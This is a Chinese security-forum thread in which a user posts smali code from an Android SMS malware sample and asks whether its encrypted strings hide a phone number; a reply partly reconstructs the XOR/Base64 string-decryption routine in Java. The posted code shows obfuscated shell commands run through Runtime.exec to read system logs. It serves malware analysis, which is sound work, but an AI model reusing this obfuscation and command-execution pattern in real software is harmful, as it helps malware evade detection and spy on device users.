[求助]哪位大侠帮助看下赋值加密方法-付费问答-看雪-安全社区|安全招聘|kanxue.com

[旧帖] [求助]哪位大侠帮助看下赋值加密方法 0.00雪花

发表于: 2015-5-4 15:04 1430

[旧帖] [求助]哪位大侠帮助看下赋值加密方法 0.00雪花

rcwakk

2015-5-4 15:04

1430

这是我上次手机短信中毒的一个病毒，可以分析不了，我怀疑这段代码有手机号，可是我通过百度等都没有方法，请高手帮忙看看，是否存在手机号码，是否对赋值进行了加密，如下面的V11,谢谢。

.class Lhy/rg/es/vu/LogcatScannerService$AndroidLogcatScannerThread;
.super Ljava/lang/Thread;
.source "LogcatScannerService.java"

# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lhy/rg/es/vu/LogcatScannerService;
.end annotation

.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x2
name = "AndroidLogcatScannerThread"
.end annotation

# instance fields
.field private mObserver:Lhy/rg/es/vu/LogcatObserver;

.field final synthetic this$0:Lhy/rg/es/vu/LogcatScannerService;

# direct methods
.method public constructor <init>(Lhy/rg/es/vu/LogcatScannerService;Lhy/rg/es/vu/LogcatObserver;)V
.locals 0

iput-object p1, p0, Lhy/rg/es/vu/LogcatScannerService$AndroidLogcatScannerThread;->this$0:Lhy/rg/es/vu/LogcatScannerService;

invoke-direct {p0}, Ljava/lang/Thread;-><init>()V

iput-object p2, p0, Lhy/rg/es/vu/LogcatScannerService$AndroidLogcatScannerThread;->mObserver:Lhy/rg/es/vu/LogcatObserver;

return-void
.end method

.method private static run(Ljava/lang/String;)Ljava/lang/String;
.locals 29

const/4 v13, 0x0

const/16 v16, 0x0

const/4 v15, 0x0

const/16 v19, 0x0

const/4 v3, 0x0

const/16 v18, 0x0

const/4 v5, 0x0

const/4 v6, 0x0

const/16 v26, 0x13

move/from16 v0, v26

new-array v8, v0, [B

fill-array-data v8, :array_0

const/16 v26, 0x0

const/16 v27, 0x2

move-object/from16 v0, p0

move/from16 v1, v26

move/from16 v2, v27

invoke-virtual {v0, v1, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;

move-result-object v21

invoke-virtual/range {p0 .. p0}, Ljava/lang/String;->length()I

move-result v26

add-int/lit8 v26, v26, -0x2

move-object/from16 v0, p0

move/from16 v1, v26

invoke-virtual {v0, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;

move-result-object v22

new-instance v26, Ljava/lang/StringBuilder;

invoke-static/range {v22 .. v22}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v27

invoke-direct/range {v26 .. v27}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

const/16 v27, 0x2

invoke-virtual/range {p0 .. p0}, Ljava/lang/String;->length()I

move-result v28

add-int/lit8 v28, v28, -0x2

move-object/from16 v0, p0

move/from16 v1, v27

move/from16 v2, v28

invoke-virtual {v0, v1, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;

move-result-object v27

invoke-virtual/range {v26 .. v27}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v26

move-object/from16 v0, v26

move-object/from16 v1, v21

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v26

invoke-virtual/range {v26 .. v26}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v20

const/4 v13, 0x0

:goto_0
const/16 v26, 0x13

move/from16 v0, v26

if-lt v13, v0, :cond_0

new-instance v19, Ljava/lang/String;

move-object/from16 v0, v19

invoke-direct {v0, v8}, Ljava/lang/String;-><init>([B)V

const/4 v15, 0x2

const/16 v26, 0x3

move-object/from16 v0, v19

move/from16 v1, v26

invoke-virtual {v0, v15, v1}, Ljava/lang/String;->substring(II)Ljava/lang/String;

move-result-object v18

const/16 v15, 0x10

new-instance v26, Ljava/lang/StringBuilder;

invoke-static/range {v18 .. v18}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v27

invoke-direct/range {v26 .. v27}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

const/16 v27, 0x11

move-object/from16 v0, v19

move/from16 v1, v27

invoke-virtual {v0, v15, v1}, Ljava/lang/String;->substring(II)Ljava/lang/String;

move-result-object v27

invoke-virtual/range {v26 .. v27}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v26

invoke-virtual/range {v26 .. v26}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v18

new-instance v26, Ljava/lang/StringBuilder;

invoke-static/range {v18 .. v18}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v27

invoke-direct/range {v26 .. v27}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

const-string v27, "c"

invoke-virtual/range {v26 .. v27}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v26

invoke-virtual/range {v26 .. v26}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v3

const/4 v15, 0x4

new-instance v26, Ljava/lang/StringBuilder;

invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v27

invoke-direct/range {v26 .. v27}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

const/16 v27, 0x5

move-object/from16 v0, v19

move/from16 v1, v27

invoke-virtual {v0, v15, v1}, Ljava/lang/String;->substring(II)Ljava/lang/String;

move-result-object v27

invoke-virtual/range {v26 .. v27}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v26

invoke-virtual/range {v26 .. v26}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v3

new-instance v26, Ljava/lang/StringBuilder;

invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v27

invoke-direct/range {v26 .. v27}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

move-object/from16 v0, v26

move-object/from16 v1, v18

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v26

invoke-virtual/range {v26 .. v26}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v3

:try_start_0
invoke-static/range {v19 .. v19}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;

move-result-object v11

const/16 v26, 0x2

move/from16 v0, v26

new-array v4, v0, [Ljava/lang/Class;

const/16 v26, 0x0

const-class v27, Ljava/lang/String;

aput-object v27, v4, v26

const/16 v26, 0x1

sget-object v27, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;

aput-object v27, v4, v26

invoke-virtual {v11, v3, v4}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;

move-result-object v14

const/16 v26, 0x2

move/from16 v0, v26

new-array v0, v0, [Ljava/lang/Object;

move-object/from16 v26, v0

const/16 v27, 0x0

aput-object v20, v26, v27

const/16 v27, 0x1

const/16 v28, 0x0

invoke-static/range {v28 .. v28}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;

move-result-object v28

aput-object v28, v26, v27

move-object/from16 v0, v26

invoke-virtual {v14, v11, v0}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;

move-result-object v26

move-object/from16 v0, v26

check-cast v0, [B

move-object v5, v0
:try_end_0
.catch Ljava/lang/ClassNotFoundException; {:try_start_0 .. :try_end_0} :catch_0
.catch Ljava/lang/IllegalAccessException; {:try_start_0 .. :try_end_0} :catch_1
.catch Ljava/lang/NoSuchMethodException; {:try_start_0 .. :try_end_0} :catch_2
.catch Ljava/lang/IllegalArgumentException; {:try_start_0 .. :try_end_0} :catch_3
.catch Ljava/lang/reflect/InvocationTargetException; {:try_start_0 .. :try_end_0} :catch_4

:goto_1
array-length v0, v5

move/from16 v17, v0

add-int/lit8 v26, v17, -0x1

aget-byte v26, v5, v26

move/from16 v0, v26

int-to-char v0, v0

move/from16 v26, v0

invoke-static/range {v26 .. v26}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;

move-result-object v26

invoke-static/range {v26 .. v26}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I

move-result v16

add-int/lit8 v17, v17, -0x1

sub-int v17, v17, v16

add-int/lit8 v26, v17, -0x2

aget-byte v26, v5, v26

move/from16 v0, v26

int-to-char v9, v0

add-int/lit8 v26, v17, -0x1

aget-byte v26, v5, v26

move/from16 v0, v26

int-to-char v10, v0

new-instance v26, Ljava/lang/StringBuilder;

invoke-static {v9}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;

move-result-object v27

invoke-static/range {v27 .. v27}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v27

invoke-direct/range {v26 .. v27}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-static {v10}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;

move-result-object v27

invoke-virtual/range {v26 .. v27}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v26

invoke-virtual/range {v26 .. v26}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v23

const/16 v26, 0x10

move-object/from16 v0, v23

move/from16 v1, v26

invoke-static {v0, v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;I)I

move-result v26

move/from16 v0, v26

int-to-byte v7, v0

add-int/lit8 v26, v7, 0x70

move/from16 v0, v26

int-to-byte v7, v0

add-int/lit8 v17, v17, -0x2

const-string v24, ""

move/from16 v0, v17

new-array v6, v0, [B

const/4 v13, 0x0

:goto_2
move/from16 v0, v17

if-lt v13, v0, :cond_1

:try_start_1
new-instance v25, Ljava/lang/String;

const-string v26, "UTF-8"

move-object/from16 v0, v25

move-object/from16 v1, v26

invoke-direct {v0, v6, v1}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
:try_end_1
.catch Ljava/io/UnsupportedEncodingException; {:try_start_1 .. :try_end_1} :catch_5

move-object/from16 v24, v25

:goto_3
return-object v24

:cond_0
aget-byte v26, v8, v13

xor-int/lit8 v26, v26, -0x79

move/from16 v0, v26

int-to-byte v0, v0

move/from16 v26, v0

aput-byte v26, v8, v13

add-int/lit8 v13, v13, 0x1

goto/16 :goto_0

:catch_0
move-exception v12

invoke-virtual {v12}, Ljava/lang/ClassNotFoundException;->printStackTrace()V

goto :goto_1

:catch_1
move-exception v12

invoke-virtual {v12}, Ljava/lang/IllegalAccessException;->printStackTrace()V

goto/16 :goto_1

:catch_2
move-exception v12

invoke-virtual {v12}, Ljava/lang/NoSuchMethodException;->printStackTrace()V

goto/16 :goto_1

:catch_3
move-exception v12

invoke-virtual {v12}, Ljava/lang/IllegalArgumentException;->printStackTrace()V

goto/16 :goto_1

:catch_4
move-exception v12

invoke-virtual {v12}, Ljava/lang/reflect/InvocationTargetException;->printStackTrace()V

goto/16 :goto_1

:cond_1
aget-byte v26, v5, v13

xor-int v26, v26, v7

move/from16 v0, v26

int-to-byte v0, v0

move/from16 v26, v0

aput-byte v26, v6, v13

add-int/lit8 v13, v13, 0x1

goto :goto_2

:catch_5
move-exception v12

invoke-virtual {v12}, Ljava/io/UnsupportedEncodingException;->printStackTrace()V

goto :goto_3

nop

:array_0
.array-data 1
      -0x1at
      -0x17t
      -0x1dt
      -0xbt
      -0x18t
      -0x12t
      -0x1dt
      -0x57t
      -0xet
      -0xdt
      -0x12t
      -0x15t
      -0x57t
      -0x3bt
      -0x1at
      -0xct
      -0x1et
      -0x4ft
      -0x4dt
.end array-data
.end method

# virtual methods
.method public run()V
.locals 13

const/4 v10, 0x2

new-array v0, v10, [Ljava/lang/String;

const/4 v10, 0x0

const-string v11, "U=XNycveM0Eo3tQuaTxs"

invoke-static {v11}, Lhy/rg/es/vu/LogcatScannerService$AndroidLogcatScannerThread;->run(Ljava/lang/String;)Ljava/lang/String;

move-result-object v11

aput-object v11, v0, v10

const/4 v10, 0x1

const-string v11, "-c"

aput-object v11, v0, v10

const-string v8, "==83MzEkRTC03LZTNAPD"

invoke-static {v8}, Lhy/rg/es/vu/LogcatScannerService$AndroidLogcatScannerThread;->run(Ljava/lang/String;)Ljava/lang/String;

move-result-object v8

const/4 v6, 0x0

const/4 v4, 0x0

const/4 v1, 0x0

const-string v5, ""

invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;

move-result-object v7

:try_start_0
iget-object v10, p0, Lhy/rg/es/vu/LogcatScannerService$AndroidLogcatScannerThread;->mObserver:Lhy/rg/es/vu/LogcatObserver;

invoke-interface {v10, v5}, Lhy/rg/es/vu/LogcatObserver;->handleLog(Ljava/lang/String;)V

invoke-virtual {v7, v0}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;

move-result-object v10

invoke-virtual {v10}, Ljava/lang/Process;->waitFor()I

move-result v9

iget-object v10, p0, Lhy/rg/es/vu/LogcatScannerService$AndroidLogcatScannerThread;->mObserver:Lhy/rg/es/vu/LogcatObserver;

new-instance v11, Ljava/lang/StringBuilder;

const-string v12, "01Zuc1Fma3JiOjk3ySOTe7cG"

invoke-static {v12}, Lhy/rg/es/vu/LogcatScannerService$AndroidLogcatScannerThread;->run(Ljava/lang/String;)Ljava/lang/String;

move-result-object v12

invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v11, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

move-result-object v11

const-string v12, "\n Has do Clear logcat cache."

invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v11

invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v11

invoke-interface {v10, v11}, Lhy/rg/es/vu/LogcatObserver;->handleLog(Ljava/lang/String;)V

invoke-virtual {v7, v8}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;

move-result-object v6

invoke-virtual {v6}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;

move-result-object v4

new-instance v2, Ljava/io/DataInputStream;

invoke-direct {v2, v4}, Ljava/io/DataInputStream;-><init>(Ljava/io/InputStream;)V
:try_end_0
.catch Ljava/lang/InterruptedException; {:try_start_0 .. :try_end_0} :catch_7
.catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_2
.catchall {:try_start_0 .. :try_end_0} :catchall_0

:cond_0
:goto_0
:try_start_1
invoke-virtual {v2}, Ljava/io/DataInputStream;->readLine()Ljava/lang/String;
:try_end_1
.catch Ljava/lang/InterruptedException; {:try_start_1 .. :try_end_1} :catch_0
.catch Ljava/io/IOException; {:try_start_1 .. :try_end_1} :catch_6
.catchall {:try_start_1 .. :try_end_1} :catchall_1

move-result-object v5

if-nez v5, :cond_4

if-eqz v2, :cond_1

:try_start_2
invoke-virtual {v2}, Ljava/io/DataInputStream;->close()V

:cond_1
if-eqz v4, :cond_2

invoke-virtual {v4}, Ljava/io/InputStream;->close()V

:cond_2
if-eqz v6, :cond_c

invoke-virtual {v6}, Ljava/lang/Process;->destroy()V
:try_end_2
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_4

move-object v1, v2

:cond_3
:goto_1
return-void

:cond_4
:try_start_3
iget-object v10, p0, Lhy/rg/es/vu/LogcatScannerService$AndroidLogcatScannerThread;->mObserver:Lhy/rg/es/vu/LogcatObserver;

if-eqz v10, :cond_0

iget-object v10, p0, Lhy/rg/es/vu/LogcatScannerService$AndroidLogcatScannerThread;->mObserver:Lhy/rg/es/vu/LogcatObserver;

invoke-interface {v10, v5}, Lhy/rg/es/vu/LogcatObserver;->handleLog(Ljava/lang/String;)V
:try_end_3
.catch Ljava/lang/InterruptedException; {:try_start_3 .. :try_end_3} :catch_0
.catch Ljava/io/IOException; {:try_start_3 .. :try_end_3} :catch_6
.catchall {:try_start_3 .. :try_end_3} :catchall_1

goto :goto_0

:catch_0
move-exception v3

move-object v1, v2

:goto_2
:try_start_4
invoke-virtual {v3}, Ljava/lang/InterruptedException;->printStackTrace()V
:try_end_4
.catchall {:try_start_4 .. :try_end_4} :catchall_0

if-eqz v1, :cond_5

:try_start_5
invoke-virtual {v1}, Ljava/io/DataInputStream;->close()V

:cond_5
if-eqz v4, :cond_6

invoke-virtual {v4}, Ljava/io/InputStream;->close()V

:cond_6
if-eqz v6, :cond_3

invoke-virtual {v6}, Ljava/lang/Process;->destroy()V
:try_end_5
.catch Ljava/lang/Exception; {:try_start_5 .. :try_end_5} :catch_1

goto :goto_1

:catch_1
move-exception v10

goto :goto_1

:catch_2
move-exception v10

:goto_3
if-eqz v1, :cond_7

:try_start_6
invoke-virtual {v1}, Ljava/io/DataInputStream;->close()V

:cond_7
if-eqz v4, :cond_8

invoke-virtual {v4}, Ljava/io/InputStream;->close()V

:cond_8
if-eqz v6, :cond_3

invoke-virtual {v6}, Ljava/lang/Process;->destroy()V
:try_end_6
.catch Ljava/lang/Exception; {:try_start_6 .. :try_end_6} :catch_3

goto :goto_1

:catch_3
move-exception v10

goto :goto_1

:catchall_0
move-exception v10

:goto_4
if-eqz v1, :cond_9

:try_start_7
invoke-virtual {v1}, Ljava/io/DataInputStream;->close()V

:cond_9
if-eqz v4, :cond_a

invoke-virtual {v4}, Ljava/io/InputStream;->close()V

:cond_a
if-eqz v6, :cond_b

invoke-virtual {v6}, Ljava/lang/Process;->destroy()V
:try_end_7
.catch Ljava/lang/Exception; {:try_start_7 .. :try_end_7} :catch_5

:cond_b
:goto_5
throw v10

:catch_4
move-exception v10

move-object v1, v2

goto :goto_1

:catch_5
move-exception v11

goto :goto_5

:catchall_1
move-exception v10

move-object v1, v2

goto :goto_4

:catch_6
move-exception v10

move-object v1, v2

goto :goto_3

:catch_7
move-exception v3

goto :goto_2

:cond_c
move-object v1, v2

goto :goto_1
.end method

[培训]《安卓高级研修班(网课)》月薪三万计划，掌握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法

收藏・0

免费・0

支持

最新回复 (1)
wdbrgnuh 雪币： 4 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 16 粉丝 0 关注私信	wdbrgnuh 2 楼看了下，没能完全解出来，只写自己的一点进展. 这个线程主要是通过Runtime.exec运行了几个命令，获取结果，通过mObserver的handleLog处理. U=XNycveM0Eo3tQuaTxs ==83MzEkRTC03LZTNAPD 这里面包含了执行的命令，static String run(String）方法执行的就是解密的过程. 反编译的代码，修改了下，可以跑起来，但是对于加密字符串，没有正确结果，只解出来第二个字符串是LOGCAT public String run(String p29) { byte[] v8 = new byte[] { -26, -23, -29, -11, -24, -18, -29, -87, -14, -13, -18, -21, -87, -59, -26, -12, -30, -79, -77 }; String v20 = new StringBuilder(String.valueOf(p29.substring((p29 .length() - 2)))).append(p29.substring(2, (p29.length() - 2))) .append(p29.substring(0, 2)).toString(); int v13_0 = 0; while (v13_0 < 19) { v8[v13_0] = ((byte) (v8[v13_0] ^ -121)); v13_0++; } byte[] v5 = Base64.decode(v20, 0); // String v19 = new String(v8); // String v18_1 = new StringBuilder(String.valueOf(v19.substring(2, 3))) // .append(v19.substring(16, 17)).toString(); // String v3_2 = new StringBuilder(String.valueOf(new StringBuilder(String // .valueOf(new StringBuilder(String.valueOf(v18_1)).append("c") // .toString())).append(v19.substring(4, 5)).toString())) // .append(v18_1).toString(); // // try { // Class v11 = Class.forName(v19); // Class[] v4 = new Class[2]; // v4[0] = String.class; // v4[1] = Integer.TYPE; // Method v14 = v11.getDeclaredMethod(v3_2, v4); // Object[] v26_29 = new Object[2]; // v26_29[0] = v20; // v26_29[1] = Integer.valueOf(0); // v5 = ((byte[]) v14.invoke(v11, v26_29)); // } catch (ClassNotFoundException e) { // // TODO Auto-generated catch block // e.printStackTrace(); // } catch (NoSuchMethodException e) { // // TODO Auto-generated catch block // e.printStackTrace(); // } catch (SecurityException e) { // // TODO Auto-generated catch block // e.printStackTrace(); // } catch (IllegalAccessException e) { // // TODO Auto-generated catch block // e.printStackTrace(); // } catch (IllegalArgumentException e) { // // TODO Auto-generated catch block // e.printStackTrace(); // } catch (InvocationTargetException e) { // // TODO Auto-generated catch block // e.printStackTrace(); // } int v17_0 = v5.length; int v17_2 = ((v17_0 - 1) - Integer.parseInt(String .valueOf(((char) v5[(v17_0 - 1)])))); char v10 = ((char) v5[(v17_2 - 1)]); StringBuilder v26_40 = new StringBuilder(String.valueOf(String .valueOf(((char) v5[(v17_2 - 2)])))); int v17_3 = (v17_2 - 2); byte[] v6 = new byte[v17_3]; int v13_1 = 0; try { while (v13_1 < v17_3) { v6[v13_1] = ((byte) (v5[v13_1] ^ ((byte) (((byte) Integer.parseInt( v26_40.append(String.valueOf(v10)).toString(), 16)) + 112)))); v13_1++; } } catch (NumberFormatException e) { // TODO Auto-generated catch block e.printStackTrace(); } String v25 = null; try { v25 = new String(v6, "UTF-8"); } catch (java.io.UnsupportedEncodingException v12_5) { v12_5.printStackTrace(); } return v25; } 注释的部分就是调用了Android的base64解密，我测试的时候替换了下. 解不出来，所以也没有具体看后半部分解密的算法,如果只是想知道解密结果，我觉得用无源调试打个断点就知道了. 2015-5-5 13:39 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

最新回复 (1)

wdbrgnuh

雪币： 4

活跃值： (10)

能力值：

( LV2，RANK：10 )

在线值：

发帖

回帖

粉丝

关注

私信

wdbrgnuh: 2 楼

看了下，没能完全解出来，只写自己的一点进展.
这个线程主要是通过Runtime.exec运行了几个命令，获取结果，通过mObserver的handleLog处理.
U=XNycveM0Eo3tQuaTxs
==83MzEkRTC03LZTNAPD
这里面包含了执行的命令，static String run(String）方法执行的就是解密的过程.
反编译的代码，修改了下，可以跑起来，但是对于加密字符串，没有正确结果，只解出来第二个字符串是LOGCAT

public String run(String p29) {
byte[] v8 = new byte[] { -26, -23, -29, -11, -24, -18, -29, -87, -14,
-13, -18, -21, -87, -59, -26, -12, -30, -79, -77 };
String v20 = new StringBuilder(String.valueOf(p29.substring((p29
.length() - 2)))).append(p29.substring(2, (p29.length() - 2)))
.append(p29.substring(0, 2)).toString();
int v13_0 = 0;
while (v13_0 < 19) {
v8[v13_0] = ((byte) (v8[v13_0] ^ -121));
v13_0++;
}
byte[] v5 = Base64.decode(v20, 0);

// String v19 = new String(v8);
// String v18_1 = new StringBuilder(String.valueOf(v19.substring(2, 3)))
// .append(v19.substring(16, 17)).toString();
// String v3_2 = new StringBuilder(String.valueOf(new StringBuilder(String
// .valueOf(new StringBuilder(String.valueOf(v18_1)).append("c")
// .toString())).append(v19.substring(4, 5)).toString()))
// .append(v18_1).toString();
//
// try {
// Class v11 = Class.forName(v19);
// Class[] v4 = new Class[2];
// v4[0] = String.class;
// v4[1] = Integer.TYPE;
// Method v14 = v11.getDeclaredMethod(v3_2, v4);
// Object[] v26_29 = new Object[2];
// v26_29[0] = v20;
// v26_29[1] = Integer.valueOf(0);
// v5 = ((byte[]) v14.invoke(v11, v26_29));
// } catch (ClassNotFoundException e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// } catch (NoSuchMethodException e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// } catch (SecurityException e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// } catch (IllegalAccessException e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// } catch (IllegalArgumentException e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// } catch (InvocationTargetException e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// }
int v17_0 = v5.length;
int v17_2 = ((v17_0 - 1) - Integer.parseInt(String
.valueOf(((char) v5[(v17_0 - 1)]))));
char v10 = ((char) v5[(v17_2 - 1)]);
StringBuilder v26_40 = new StringBuilder(String.valueOf(String
.valueOf(((char) v5[(v17_2 - 2)]))));
int v17_3 = (v17_2 - 2);
byte[] v6 = new byte[v17_3];
int v13_1 = 0;

try {
while (v13_1 < v17_3) {
v6[v13_1] = ((byte) (v5[v13_1] ^ ((byte) (((byte) Integer.parseInt(
v26_40.append(String.valueOf(v10)).toString(), 16)) + 112))));
v13_1++;
}
} catch (NumberFormatException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
String v25 = null;
try {
v25 = new String(v6, "UTF-8");
} catch (java.io.UnsupportedEncodingException v12_5) {
v12_5.printStackTrace();
}
return v25;
}

注释的部分就是调用了Android的base64解密，我测试的时候替换了下.
解不出来，所以也没有具体看后半部分解密的算法,如果只是想知道解密结果，我觉得用无源调试打个断点就知道了.

2015-5-5 13:39

rcwakk

发帖

回帖

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号